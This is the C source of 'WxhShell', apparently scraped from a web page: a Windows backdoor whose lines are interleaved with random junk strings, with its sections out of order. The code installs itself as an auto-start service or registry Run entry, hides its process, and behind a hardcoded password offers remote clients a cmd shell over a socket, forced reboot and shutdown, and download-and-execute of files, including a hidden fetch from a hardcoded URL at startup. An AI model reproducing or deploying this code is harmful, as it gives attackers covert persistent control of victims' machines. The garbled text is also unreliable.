    closesocket(wsh); %t`SSW7I  
    ExitThread(0); ZG@M%|>  
    } B&i0j5L  
    break; T4~`e_  
    } Q1nDl  
  // 关机 ]Q4PbW  
  case 'd': { WfDX"rA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M,t*nG  
    if(Boot(SHUTDOWN)) C3\E.u ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "7yNKO;W  
    else { [l':G]  
    closesocket(wsh); y5/'!L)g  
    ExitThread(0); `/w\2n  
    } R{) Q1~H=q  
    break; $' (QTEM  
    } ) Kc%8hBv  
  // 获取shell *m$PH"  
  case 's': { )W1(tEq59  
    CmdShell(wsh); BU9J_rCIv  
    closesocket(wsh); -!|WZ   
    ExitThread(0); :GQIlA8cF$  
    break; `D)Lzm R  
  } ,]Ro',A&  
  // 退出 }{5mH:  
  case 'x': { wMz-U- z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v0Ai!#  
    CloseIt(wsh); iIsEQh  
    break; I%9bPQ  
    } 3T|Y}  
  // 离开 Ts(t:^  
  case 'q': { j1puB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Aa]aDAz68  
    closesocket(wsh); zUs~V`0  
    WSACleanup(); `k(u:yGK  
    exit(1); }qiF^D}  
    break; o#xgrMB  
        } LZM,QQ  
  } \T`["<  
  } .73zik   
aUW/1nQHa  
  // 提示信息 kG)2%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6x_ T@  
} 8M^wuRn  
  } L6:W'u^  
#M5_em4kN  
  return; 3ar=1_Ar  
} aqs%m (  
J]}FC{CD!  
// shell模块句柄 2yln7[a  
int CmdShell(SOCKET sock) kDzj%sm!  
{ *me,(C  
STARTUPINFO si; xMD rE?  
ZeroMemory(&si,sizeof(si)); *O@sh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4E=0qbt8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Z)#lF|^  
PROCESS_INFORMATION ProcessInfo; a`H\-G  
char cmdline[]="cmd"; FUaI2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +7Yu^&  
  return 0; hCzjC|EO~  
} #(%t*"IY;  
)n7|?@5U  
// 自身启动模式 l80bHp=  
int StartFromService(void) 8p (!]^z  
{ fokwW}>B[f  
typedef struct fyI_  
{ mEoA#U  
  DWORD ExitStatus; b'velj3A  
  DWORD PebBaseAddress; 0Injyc*bMF  
  DWORD AffinityMask; F =XF]  
  DWORD BasePriority; "7Eo>g   
  ULONG UniqueProcessId; R? O-x9  
  ULONG InheritedFromUniqueProcessId; 8HMo.*Ti9  
}   PROCESS_BASIC_INFORMATION; GR,J0LT   
Aoj6k\YX  
PROCNTQSIP NtQueryInformationProcess; '_B_&is  
]o-Fi$h!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kb}MF9?:e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K~c^*;F  
6Wj@r!u  
  HANDLE             hProcess; JE0?@PI$  
  PROCESS_BASIC_INFORMATION pbi; x6LjcRS|  
/b.$jnqL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [?-]PZ  
  if(NULL == hInst ) return 0; ;}LJh8_  
RfKc{V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `f@{Vcr% i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %drJ p6n%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3&es]1b  
{G]?{c)"  
  if (!NtQueryInformationProcess) return 0; Qi_&aU$>lM  
],n%Xp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i 'qMi~{  
  if(!hProcess) return 0; 8QV t, 'I  
< CDA"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z^r |3;  
|K%}}g[<e;  
  CloseHandle(hProcess); (@ "=F6P  
'9qn*H`'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2G?$X?  
if(hProcess==NULL) return 0; Vu}806kB  
7Yuk  
HMODULE hMod; XdpF&B&K7Q  
char procName[255]; [4p=X=B  
unsigned long cbNeeded; (Akd8}nf~  
`)6>nPr7P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?cJY B)  
h1# S+k  
  CloseHandle(hProcess); 80Ag  
Y)|~:& tZ  
if(strstr(procName,"services")) return 1; // 以服务启动 <yZP|_  
 l^P#kQA  
  return 0; // 注册表启动 c15r':.5  
} AM'gnP>  
*8PN!^  
// 主模块 q/$ GE,"  
int StartWxhshell(LPSTR lpCmdLine) \^LWCp,C"  
{ r@iASITX  
  SOCKET wsl; > @+#  
BOOL val=TRUE; X(]Zr  
  int port=0; [B,'=,Hbs  
  struct sockaddr_in door; %swR:Bv  
<s_=-" il  
  if(wscfg.ws_autoins) Install(); ?4 qkDtm  
H'EY)s Hi  
port=atoi(lpCmdLine); ZRnL_ z~  
pYt/378w  
if(port<=0) port=wscfg.ws_port; QQFf5^  
vf<UBa;Xm  
  WSADATA data; M ?*Tf&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 34ha26\np  
vI Vr@1S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9x? B5Ap[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O+_N!/  
  door.sin_family = AF_INET; ZHCr2^w6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q[uAIyv0  
  door.sin_port = htons(port); 77*qkKr  
cx{T '1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4O(@'#LLz  
closesocket(wsl); r,4lqar;E  
return 1; OEnDsIhq  
} W5.Va.  
L]I3P|y_  
  if(listen(wsl,2) == INVALID_SOCKET) { cD2+hp|9  
closesocket(wsl); &Yf",KcL*I  
return 1; n_P3\Y|  
} 'a#mViPTQ)  
  Wxhshell(wsl); f"Vgefk  
  WSACleanup(); A "S/^<  
%&+TbDE+T  
return 0; P]Xbjs<p  
1CkdpYjsj  
} mibpG9+d  
VYaSB?`/  
// 以NT服务方式启动 j)Y[4 ^k^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X\\7$  
{ b:kXNDc  
DWORD   status = 0; ]GX \|1L  
  DWORD   specificError = 0xfffffff; ZB[k{Y  
ong""K4H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &cu!Hx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,gMy@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (#|{%4g@>  
  serviceStatus.dwWin32ExitCode     = 0; rk|a5-i  
  serviceStatus.dwServiceSpecificExitCode = 0; fxgU~'  
  serviceStatus.dwCheckPoint       = 0; \G>ZkgU  
  serviceStatus.dwWaitHint       = 0; iY~rne"l  
,PECYwegkt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lZW K2  
  if (hServiceStatusHandle==0) return; ]Bnwk o  
,a0pAj  
status = GetLastError(); ZCYS\E 7X  
  if (status!=NO_ERROR) &:3Z.G  
{ _1L(7|^~y[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; so+4B1$)q  
    serviceStatus.dwCheckPoint       = 0; !^y y0`k6  
    serviceStatus.dwWaitHint       = 0; jQ=~g-y  
    serviceStatus.dwWin32ExitCode     = status; +7U  
    serviceStatus.dwServiceSpecificExitCode = specificError; nX^1$')gp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l?8)6z#Zl  
    return;  f:wd&V  
  } +th%enRB  
bA@P}M)X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e;VIL 2|  
  serviceStatus.dwCheckPoint       = 0; (UYF%MA}"  
  serviceStatus.dwWaitHint       = 0; 0 [8=c&F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aDL*W@1S  
} *hdC?m. _  
]]BOk  
// 处理NT服务事件,比如:启动、停止 {2 %aCCV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F[Q!d6  
{ j U[ O  
switch(fdwControl) a{'Z5ail  
{ @I-Lv5  
case SERVICE_CONTROL_STOP: v,OpTu:1  
  serviceStatus.dwWin32ExitCode = 0; QA;!caNp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tycq1i^  
  serviceStatus.dwCheckPoint   = 0; &(blN.2  
  serviceStatus.dwWaitHint     = 0; bMKL1+y(  
  { + G;LX'B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&S0#>wmyG  
  } Y<f_`h^r  
  return; @;:>GA  
case SERVICE_CONTROL_PAUSE: gSt`%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uD9|.P}  
  break; *7$P]  
case SERVICE_CONTROL_CONTINUE: 55Gtp\L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z42F,4Gk  
  break; <rIz Z'D  
case SERVICE_CONTROL_INTERROGATE: /6+NU^  
  break; @|\R}k%(  
}; @=Fi7M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %o w^dzW  
} p fT60W[m  
x\\~SGd  
// 标准应用程序主函数 $uj(G7_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4 !#a3=_  
{ )92r{%N  
o[1ylzk}+  
// 获取操作系统版本 8K"+,s(%R  
OsIsNt=GetOsVer(); bKDA!R2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ][;G=oCT  
$` VFdAe  
  // 从命令行安装 57,dw-|xi  
  if(strpbrk(lpCmdLine,"iI")) Install(); a%vrt)Gx  
nFRsc'VT  
  // 下载执行文件 Anm=*;*M`  
if(wscfg.ws_downexe) { %|"g/2sF[G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k\`S lb1  
  WinExec(wscfg.ws_filenam,SW_HIDE); :6{`~=  
} *G5c|Y  
1.U`D\7mb  
if(!OsIsNt) { c#/H:?q?a  
// 如果时win9x,隐藏进程并且设置为注册表启动 E=]4ctK  
HideProc(); ut2~rRiK  
StartWxhshell(lpCmdLine); M@Q3M(z  
} Vz=auM1xZ  
else ZD>a>]  
  if(StartFromService()) TX [%(ft  
  // 以服务方式启动 q MYe{{r  
  StartServiceCtrlDispatcher(DispatchTable); 8, "yNq  
else x_#-tB  
  // 普通方式启动 Tr&M~Lgb)  
  StartWxhshell(lpCmdLine); {aYY85j  
SHVWwoieT  
return 0; ;gg\;i}^  
} 13hE}g;.  
BB$oq'  
?sz)J 3  
dt}_D={Be  
=========================================== Zw1U@5}A  
M]]pTU((  
#/2$+x  
t2HJsMX  
XFVV},V  
lj=l4 &.i  
" >slm$~rv  
5Por "&%  
#include <stdio.h> ]b/S6oc6  
#include <string.h> 5N[9 vW  
#include <windows.h> Z;l`YK^-  
#include <winsock2.h> Ev"|FTI/  
#include <winsvc.h> \55VqGyxu9  
#include <urlmon.h> ``VW;l{  
k^"bLf(4  
#pragma comment (lib, "Ws2_32.lib") \!]hU%Un  
#pragma comment (lib, "urlmon.lib") kX`[Y@nUN  
q@hzo>[  
#define MAX_USER   100 // 最大客户端连接数 K14^JAdY/  
#define BUF_SOCK   200 // sock buffer M=qb^~ l  
#define KEY_BUFF   255 // 输入 buffer 1 rs&74-  
jnB~sbyA  
#define REBOOT     0   // 重启 EZ;"'4;W  
#define SHUTDOWN   1   // 关机 :#k &\f-Y  
]i<[d ,  
#define DEF_PORT   5000 // 监听端口 KnhoaBB  
e=vsuqGT  
#define REG_LEN     16   // 注册表键长度 eB> s=}|  
#define SVC_LEN     80   // NT服务名长度 ew _-Eb  
?<Wb@6kh`  
// 从dll定义API zq+o+o>xo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u9+kLepOT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uDw.|B2ui  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yXI >I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'H8(=9O1d  
",aT WQgN  
// wxhshell配置信息 (" ~ DJ=  
struct WSCFG { 8K(Z0  
  int ws_port;         // 监听端口 F!zP<A "  
  char ws_passstr[REG_LEN]; // 口令 >MK>gLg}!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,GWNL m\5  
  char ws_regname[REG_LEN]; // 注册表键名 k3?rp`V1  
  char ws_svcname[REG_LEN]; // 服务名 ;W>Cqg=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c~QS9)=E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hpTDxh'?$C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :cu #V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $$b 9&mTl#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m5mu:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6DG@?O  
p'7*6bj1  
}; xx{!3 F  
bXUy9 -L  
// default Wxhshell configuration p G1WXbqW  
struct WSCFG wscfg={DEF_PORT, m,C1J%{^  
    "xuhuanlingzhe", lif&@o f  
    1, FR2= las"z  
    "Wxhshell", WE]e m >  
    "Wxhshell", BH]Ynu&o  
            "WxhShell Service", akw,P$i  
    "Wrsky Windows CmdShell Service", bVP"(H]  
    "Please Input Your Password: ", STZPYeXE  
  1, s,#>m*Rh  
  "http://www.wrsky.com/wxhshell.exe", ;%tF58&  
  "Wxhshell.exe" +)zOer,  
    }; `.s({/|[  
t!Sq A(-V  
// 消息定义模块 V%$/#sza  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v8AS=sY4r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .920{G?l5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bR@p<;G|  
char *msg_ws_ext="\n\rExit."; ]smkTo/  
char *msg_ws_end="\n\rQuit."; qC F5~;7  
char *msg_ws_boot="\n\rReboot..."; [Nn`l,  
char *msg_ws_poff="\n\rShutdown..."; }neY<{z  
char *msg_ws_down="\n\rSave to "; c'/l,k  
|5Xq0nvCe  
char *msg_ws_err="\n\rErr!"; U9b?i$  
char *msg_ws_ok="\n\rOK!"; ~4"qV_M  
Y0eE-5F,  
char ExeFile[MAX_PATH]; 4pw6bK,s2\  
int nUser = 0; D %Xo&V[  
HANDLE handles[MAX_USER]; quY:pqG38q  
int OsIsNt; ca+5=+X7  
eX@L3BKp  
SERVICE_STATUS       serviceStatus; F:x [  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .r*2|  
;a:[8Yi  
// 函数声明 LL:_L<  
int Install(void); %*BlWk!Q  
int Uninstall(void); 4apL4E"r  
int DownloadFile(char *sURL, SOCKET wsh); II6CHjW`;  
int Boot(int flag); .\>v0Du  
void HideProc(void); MEB it  
int GetOsVer(void); cnTaJ/o  
int Wxhshell(SOCKET wsl); vWAL^?HUP  
void TalkWithClient(void *cs); I`NjqyTW  
int CmdShell(SOCKET sock); #g6.Glz3  
int StartFromService(void); U&O: _>~  
int StartWxhshell(LPSTR lpCmdLine); e7wSOs  
sr8cYLm5R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]U"94S U:)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8OgLn?"P  
H;RwO@v  
// 数据结构和表定义 N7e"@Ic  
SERVICE_TABLE_ENTRY DispatchTable[] = 03C0L&  
{ ]+X@ 7  
{wscfg.ws_svcname, NTServiceMain}, t.mVO]dsj  
{NULL, NULL} -GxaV #{  
}; B}^w_C2  
Hh+ 2mkg  
// 自我安装 eM8}X[  
int Install(void) '- zD  
{ F$)[kP,wtO  
  char svExeFile[MAX_PATH]; 82l~G;.n3  
  HKEY key; Bve.C  
  strcpy(svExeFile,ExeFile); HTG%t/S  
ti \wg  
// 如果是win9x系统,修改注册表设为自启动 }_ 9Cxji  
if(!OsIsNt) { d3xmtG {i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ep`nf0x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'inFKy'H  
  RegCloseKey(key); )ut&@]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F w?[lS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M3.do^ss  
  RegCloseKey(key); {.XEL  
  return 0; YPxM<Gfa8  
    } Yw- G'  
  } ov, hI>0!D  
} (!:,+*YY  
else { YOcO4   
7Op>i,HZk\  
// 如果是NT以上系统,安装为系统服务 v?geCe=ng  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CB^U6ZS  
if (schSCManager!=0) @{2 5xTt  
{ 0)gdB'9V_  
  SC_HANDLE schService = CreateService \kZ?  
  ( !z>6 Uf!{  
  schSCManager, 2'w?\{}D  
  wscfg.ws_svcname, \.-bZ$  
  wscfg.ws_svcdisp, gw!vlwC&T  
  SERVICE_ALL_ACCESS, w(L4A0K[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E 7{U |\  
  SERVICE_AUTO_START, DA\2rLs  
  SERVICE_ERROR_NORMAL, j:v@pzTD  
  svExeFile, ZP(f3X@  
  NULL, uLV#SQ=bZN  
  NULL, {e 14[0U-  
  NULL, +{oG|r3L  
  NULL, tS6qWtE  
  NULL vw9@v`k  
  ); M!o##* *`  
  if (schService!=0) a^I\ /&aw'  
  { LcTP #  
  CloseServiceHandle(schService); #"G]ke1l$  
  CloseServiceHandle(schSCManager); ,0!}7;j_c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {N+$Q'  
  strcat(svExeFile,wscfg.ws_svcname); GB=X5<;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #AJM6* G9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $| @ (  
  RegCloseKey(key); gDpVeBd[  
  return 0; n"c[,k+R`U  
    } EFM5,gB.m  
  } Iy&!<r7:]0  
  CloseServiceHandle(schSCManager); , K~}\CR  
} {ttysQ-  
} te-jfmu2  
J| w>a  
return 1; \| 8  
} Wi)_H$KII  
9dx/hFA  
// 自我卸载 |Y ,b?*UF  
int Uninstall(void) Hquc o  
{ ZbdZ rE$  
  HKEY key; X4~y7  
b0Ps5G\ u  
if(!OsIsNt) { 3`DQo%<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g,!L$,/F  
  RegDeleteValue(key,wscfg.ws_regname); _uy44; zq  
  RegCloseKey(key); w9EOC$|Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H&-zZc4\  
  RegDeleteValue(key,wscfg.ws_regname); X}Ai -D  
  RegCloseKey(key); s Z].8.  
  return 0; ?67Y-\}  
  } yb\_zE\  
} n-tgX?1'  
} Yi.N&&o  
else { #Lh;CSS  
*nkoPVpC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Nhs1st*8  
if (schSCManager!=0) inMA:x}cF1  
{ nksLWfpG?B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'a@/vx&J  
  if (schService!=0) KW pVw!  
  { k_rt&}e+Gi  
  if(DeleteService(schService)!=0) { rlOAo`hd  
  CloseServiceHandle(schService); t-tg-<  
  CloseServiceHandle(schSCManager); g}1B;zGf  
  return 0; V17%=bCZ5[  
  } r@H /kD  
  CloseServiceHandle(schService); "#2a8#  
  } nFHUy9q  
  CloseServiceHandle(schSCManager); ^ B fC  
} )q8pk2  
} K0|FY=#2y  
W}@c|d $`  
return 1; aC8} d  
} 65JF`]  
V ]lLw)  
// 从指定url下载文件 KQ% GIz x  
int DownloadFile(char *sURL, SOCKET wsh) 8Fz#A.%P  
{ z]_wjYn Z  
  HRESULT hr; {EB;h\C  
char seps[]= "/"; s+$ Q}|?u  
char *token; dy%;W%  
char *file; B9jC?I |`  
char myURL[MAX_PATH]; vc;$-v$&  
char myFILE[MAX_PATH]; B" 1c  
)Q&(f/LT  
strcpy(myURL,sURL); rr],DGg+B]  
  token=strtok(myURL,seps); /~%&vpF-L  
  while(token!=NULL) 6H.0vN&  
  { ) j#`r/  
    file=token; PUMXOTu]  
  token=strtok(NULL,seps); 2lH&  
  } 3Ei#q+7  
BLQ6A<  
GetCurrentDirectory(MAX_PATH,myFILE); 'CM|@Zz%  
strcat(myFILE, "\\"); *K8$eDNZ  
strcat(myFILE, file); U)] oO  
  send(wsh,myFILE,strlen(myFILE),0); ?jv/TBZX4  
send(wsh,"...",3,0); $]/{[@5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N2^=E1|_  
  if(hr==S_OK) 5y.WMNNv{  
return 0;  MzdV2.  
else & p  
return 1; /|6N*>l)y  
/$Nsd  
} /=nJRC3.  
}c,}V  
// 系统电源模块 24 'J  
int Boot(int flag) [.7d<oY  
{ xX&+WR  
  HANDLE hToken; _$E6P^AQ  
  TOKEN_PRIVILEGES tkp; U2#"p   
 ?Jm^<  
  if(OsIsNt) { = SMXDaH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cKca;SNql1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G:<aB  
    tkp.PrivilegeCount = 1; #4 <SAgq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *SJ_z(CZm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,aZ[R27rpL  
if(flag==REBOOT) { >C>.\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C`hU]  
  return 0; pK>N-/?a  
} XJ;57n-?  
else { X]TG<r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tv,[DI +  
  return 0; O3,jg |,  
} TQF| a\M'  
  } EeE7#$l  
  else { D0-3eV -  
if(flag==REBOOT) { &-)N'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0*3R=7_},o  
  return 0; /l ~p=PK  
} Cv.C;H  
else { lfow1WRF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *w`sM%]Rq  
  return 0; Z"xvh81P  
} 2*& ^v  
} vm8eZG|  
 ?(1 y  
return 1; `g=J%p  
} 6xx ?A>:  
6P l<'3&  
// win9x进程隐藏模块 MAR'y8I  
void HideProc(void) Gx/Oi)&/  
{ ASA,{w]  
~,Zc%s~|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +Mb.:_7'  
  if ( hKernel != NULL ) dFB]~QEK  
  { GR_-9}jQP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (mpNcOY<D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z43M] P<  
    FreeLibrary(hKernel); m=:9+z  
  } x=P\qjSa  
Dw.J2>uj  
return; m+[Ux{$  
} c7k~S-nU  
H/ HMm{4  
// 获取操作系统版本 C ;W"wBz9  
int GetOsVer(void) lTgjq:mn  
{ IM'r8 V  
  OSVERSIONINFO winfo; K;G~V\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p8O2Z? \  
  GetVersionEx(&winfo); :P~6~ K um  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?);v`]  
  return 1; 1.GQau~  
  else O,f?YJ9S  
  return 0; <iC(`J$D  
} i-_mTY&M  
M5X&}cN6  
// 客户端句柄模块 %ntRG !  
int Wxhshell(SOCKET wsl) /$?}Y L,  
{ Xl#ggub?  
  SOCKET wsh; A?P_DA  
  struct sockaddr_in client; G9cUD[GB  
  DWORD myID; IOmfF[  
k="i;! G e  
  while(nUser<MAX_USER) ]w8(&,PP  
{ KkbDW3-  
  int nSize=sizeof(client); b]#AI qt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hL{KRRf>  
  if(wsh==INVALID_SOCKET) return 1; tS=(}2Q  
;*Et[}3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oD .Cs'  
if(handles[nUser]==0) C_JNX9wv  
  closesocket(wsh); ^hM4j{|&M  
else *.t 7G  
  nUser++; Zb>?8  
  } <\^8fn   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f2`2,?  
VY4yS*y  
  return 0; _]H&,</  
} yvB.&<]No  
Z@!+v 19^  
// 关闭 socket e*NnVys  
void CloseIt(SOCKET wsh) /nA{#HY  
{ YNF k  
closesocket(wsh); BW4J>{  
nUser--; htF] W|z  
ExitThread(0); T(Eugl"  
} NZ0;5xGR  
"+G8d' %YV  
// 客户端请求句柄 2^ nxoye  
void TalkWithClient(void *cs) !Wnb|=j  
{ 0 M[EEw3  
lRFYx?y  
  SOCKET wsh=(SOCKET)cs; >|UOz&  
  char pwd[SVC_LEN]; j A%u 5V  
  char cmd[KEY_BUFF]; /*mI<[xb  
char chr[1]; ^<2p~h0 \  
int i,j; 8&slu{M- t  
lt8|9"9<  
  while (nUser < MAX_USER) { A3/k@S-R2  
1mG-}  
if(wscfg.ws_passstr) { kt:! 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vl:KF7:#m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @\#td5'  
  //ZeroMemory(pwd,KEY_BUFF); tG a8W  
      i=0; Gyc]?m   
  while(i<SVC_LEN) { (f"4,b^]  
(*iHf"=\  
  // 设置超时 [{,1=AB  
  fd_set FdRead; `[ir}+S  
  struct timeval TimeOut; CLRdm ^B  
  FD_ZERO(&FdRead);  2JBR)P  
  FD_SET(wsh,&FdRead); vr =#3>  
  TimeOut.tv_sec=8; C~/a-  
  TimeOut.tv_usec=0; &tj!*k'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]c'A%:f<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'D1xh~  
/j.9$H'y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >4CbwwMA  
  pwd=chr[0]; gg2( 5FPP  
  if(chr[0]==0xd || chr[0]==0xa) { w\O;!1iU  
  pwd=0; sfl<qD+?  
  break; \'O"~W  
  } N;`n@9BF  
  i++; Z7Hbj!d/Sz  
    } 6Z"X}L,*  
0o&5 ]lEe  
  // 如果是非法用户,关闭 socket ]D\D~!R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VI *$em O0  
} l*G[!u  
RZTiw^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yJIscwF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;aVZ"~a+\  
9hyn`u.  
while(1) { ;Rl x D 4p  
qJ-/7-$ ^  
  ZeroMemory(cmd,KEY_BUFF); CU!Dhm/U  
AA>P`C$&M  
      // 自动支持客户端 telnet标准   2D5StCF$O  
  j=0; La[V$+Y  
  while(j<KEY_BUFF) { [Y`W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Urhy#LC  
  cmd[j]=chr[0]; < =IFcN  
  if(chr[0]==0xa || chr[0]==0xd) { 7b+6%fV  
  cmd[j]=0; ?}Y]|c^W  
  break; oQJtUP%  
  } pd$[8Rmj_  
  j++; a d\ot#V  
    } 4_ML],.  
6_B]MN!(  
  // 下载文件 n+M<\  
  if(strstr(cmd,"http://")) { , W?VhO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tp2.VIoQ=  
  if(DownloadFile(cmd,wsh)) 1_G^w qk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) )Za&S*<  
  else r<$y= B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M"L=L5OH-  
  } xoME9u0x4  
  else { ~"A0Rs=  
